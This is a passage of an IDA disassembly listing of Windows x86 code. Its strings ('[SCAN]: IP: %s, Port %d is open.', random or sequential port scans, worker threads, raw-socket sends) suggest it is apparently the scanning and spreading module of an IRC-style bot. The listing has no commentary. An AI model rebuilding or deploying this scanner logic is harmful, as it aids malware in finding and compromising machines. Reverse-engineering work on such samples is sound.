short loc_4231C4 lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4231A5: ; CODE XREF: sub_422A40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_4231BD: ; CODE XREF: sub_422A40+132j mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_422A40+735j ; sub_422A40+745j ... mov ecx, dword_4D60CD lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h call near ptr 71AB951Eh nop push offset off_444580 mov ecx, esi call sub_4013E3 mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax call near ptr 71AB3F41h nop push eax lea eax, [esp+7A8h+var_770] push eax call near ptr 77C47A90h nop add esp, 0Ch mov ecx, esi push offset dword_444584 call sub_4013E3 test eax, eax jz short loc_42328B push offset off_444580 mov ecx, esi call sub_4013E3 mov ebp, dword_50FA90 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42327E loc_423262: ; CODE XREF: sub_422A40+83Cj test eax, eax jz short loc_42327E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423262 loc_42327E: ; CODE XREF: sub_422A40+820j ; sub_422A40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423296 ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_422A40+7F1j mov [esp+7A0h+var_630], 0 loc_423296: ; CODE XREF: sub_422A40+722j ; sub_422A40+849j mov edx, dword_4D60CD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017E4 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4232F8 mov eax, offset aSequential ; "sequential" loc_4232F8: ; CODE XREF: sub_422A40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44442Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BD6 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402261 mov al, 1 jmp loc_422E3B sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4235F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F70 mov ecx, offset dword_447998 setnz bl call sub_4014D3 push eax push ebx push ebx push offset byte_4D60B5 call sub_401848 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_444450[eax*4] inc ecx mov dword_444450[eax*4], ecx mov al, 1 retn sub_4235F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423660 proc near ; CODE XREF: sub_401DF7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h call near ptr 71AB951Eh nop mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50DAE8 nop call sub_5EE1E5 mov eax, offset dword_50DAE8 add esp, 2Ch retn sub_423660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423720 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50BB90[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax nop call near ptr 71AB2BC0h mov dword_50BB90[esi*8], eax pop esi retn sub_423720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423792 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423792: ; CODE XREF: sub_423760+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_50FABC add esp, 18h cmp eax, ebx jnz short loc_4237CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4237CA: ; CODE XREF: sub_423760+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4237D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4237D6: ; CODE XREF: sub_423760+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4237E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4237E2: ; CODE XREF: sub_423760+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4237EC call esi ; rand loc_4237EC: ; CODE XREF: sub_423760+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50BB90[ecx*8], eax pop ebx add esp, 10h retn sub_423760 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423850 proc near ; CODE XREF: sub_401E38j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42387E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42387E: ; CODE XREF: sub_423850+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax call near ptr 71AB2B66h nop lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi call near ptr 71AB4519h nop lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi nop call near ptr 71AB2DC0h push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423940: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_436840 push ebx push ebp mov ebp, dword_50FC2C push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A28 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423A69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423B68 ; --------------------------------------------------------------------------- loc_423A69: ; CODE XREF: ___:00423A5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423AC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5EE1E5 lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423AC2: ; CODE XREF: ___:00423A87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423B13 mov edi, dword_50FC58 loc_423AEA: ; CODE XREF: ___:00423B11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423B42 cmp [esp+0FEh], bp jnz short loc_423AEA loc_423B13: ; CODE XREF: ___:00423AE2j push esi call near ptr 71AB9639h nop cmp word ptr [esp+10Eh], 1 jnz short loc_423B63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B42: ; CODE XREF: ___:00423B07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B63: ; CODE XREF: ___:00423B23j push offset dword_44467C loc_423B68: ; CODE XREF: ___:00423A64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423C10: ; CODE XREF: ___:loc_401F23j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 nop call near ptr 27F0769h push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:448FCBh[eax*4] mov eax, dword_4491CF[eax*4] mov ecx, dword_50BB94[eax*8] test ecx, ecx jz loc_423EC4 mov ebx, off_50FBF0 loc_423C8C: ; CODE XREF: ___:00423EBAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423CA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: ___:00423C96j call sub_401F37 add esp, 4 loc_423CAF: ; CODE XREF: ___:00423CA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_50FC78 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5EE1E5 add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx ; sub_5EE1E5 mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401E38 add esp, 14h cmp eax, 1 jnz loc_423EA0 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423DC2 push offset dword_50DAD0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5EE1E5 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423DA2 mov al, [esp+0A8h] test al, al jz short loc_423D7D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423D9A ; --------------------------------------------------------------------------- loc_423D7D: ; CODE XREF: ___:00423D59j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423D9A: ; CODE XREF: ___:00423D7Bj call sub_401523 add esp, 10h loc_423DA2: ; CODE XREF: ___:00423D4Ej lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50DAD0 nop call near ptr 7C9010EDh jmp loc_423EA0 ; --------------------------------------------------------------------------- loc_423DC2: ; CODE XREF: ___:00423D16j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5EE1E5 mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:444420h[ecx*4] push edx push eax call ebx ; sub_5EE1E5 mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_423E12 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423E1F ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: ___:00423DFEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423E1F: ; CODE XREF: ___:00423E10j call ebx ; sub_5EE1E5 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44444C[edx*4] add esp, 0BCh loc_423EA0: ; CODE XREF: ___:00423D08j ; ___:00423DBDj push 7D0h call near ptr 2850303h nop mov eax, [ebp+204h] mov ecx, dword_50BB94[eax*8] test ecx, ecx jnz loc_423C8C mov esi, [esp+10h] loc_423EC4: ; CODE XREF: ___:00423C80j push esi call sub_401E24 add esp, 4 push 0 call near ptr 2850431h nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_402261j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50BB90[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_401483 add esp, 150h cmp eax, ebx jnz short loc_424021 push offset dword_50DAD0 call near ptr 2780000h nop push offset dword_50DAD0 nop call near ptr 27806E9h loc_424021: ; CODE XREF: ___:00424009j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_50F8D0 mov esi, ebx mov dword_50BB94[edx*8], ebx cmp eax, ebx mov ebx, off_50FBF0 jb loc_424150 mov edi, dword_50F860 loc_424052: ; CODE XREF: ___:0042414Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5EE1E5 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BD6 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F23 push 0 push 0 mov dword_4491CF[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_4491DF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_4491DF[eax*4] test ecx, ecx jz short loc_424118 mov eax, [esp+158h] test eax, eax jnz short loc_42413E loc_424107: ; CODE XREF: ___:00424114j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_424107 jmp short loc_42413E ; --------------------------------------------------------------------------- loc_424118: ; CODE XREF: ___:004240FAj nop call near ptr 27C0896h push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5EE1E5 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42413E: ; CODE XREF: ___:00424105j ; ___:00424116j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424052 loc_424150: ; CODE XREF: ___:00424046j mov eax, [esp+12Ch] test eax, eax jz short loc_42417E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4241B1 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: ___:00424159j mov ecx, [esp+130h] mov esi, 1 cmp dword_50BB94[ecx*8], esi jnz short loc_4241B1 loc_424193: ; CODE XREF: ___:004241A8j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50BB94[edx*8], esi jz short loc_424193 mov eax, [esp+12Ch] loc_4241B1: ; CODE XREF: ___:0042417Cj ; ___:00424191j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50BB90[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5EE1E5 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_424212 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_401523 add esp, 10h loc_424212: ; CODE XREF: ___:004241EBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50BB94[eax*8], 0 call ebp push 3 call sub_401483 add esp, 4 cmp eax, esi jnz short loc_424254 push offset dword_50DAD0 call near ptr 2780000h nop loc_424254: ; CODE XREF: ___:00424247j mov ecx, [esp+130h] push ecx call sub_401E24 add esp, 4 push 0 nop call near ptr 2850431h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424330 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424330 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424350: ; CODE XREF: ___:004015E1j mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401834 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4243A0 proc near ; CODE XREF: sub_401834j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp call near ptr 77C2C407h nop mov edx, eax add esp, 4 test edx, edx jz short loc_4243F2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4243F2: ; CODE XREF: sub_4243A0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_4243A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424420 proc near ; CODE XREF: sub_4021D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp call near ptr 77C2C407h nop mov edx, eax add esp, 4 test edx, edx jz short loc_424494 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424494: ; CODE XREF: sub_424420+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424420 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4244C0 proc near ; CODE XREF: sub_4016B8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4244D3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4244D3: ; CODE XREF: sub_4244C0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4244C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_424517 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424517: ; CODE XREF: sub_424500+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424545 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424545: ; CODE XREF: sub_424500+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424574 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42458F ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42458F: ; CODE XREF: sub_424500+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_424500 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245F0 proc near ; CODE XREF: sub_401B68j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F74 lea ecx, [esp+20h+var_8] call sub_4021D5 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424635 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424635: ; CODE XREF: sub_4245F0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016B8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016B8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4245F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4246D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424720 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424720 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424760 proc near ; CODE XREF: sub_4014FBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424760 endp ; 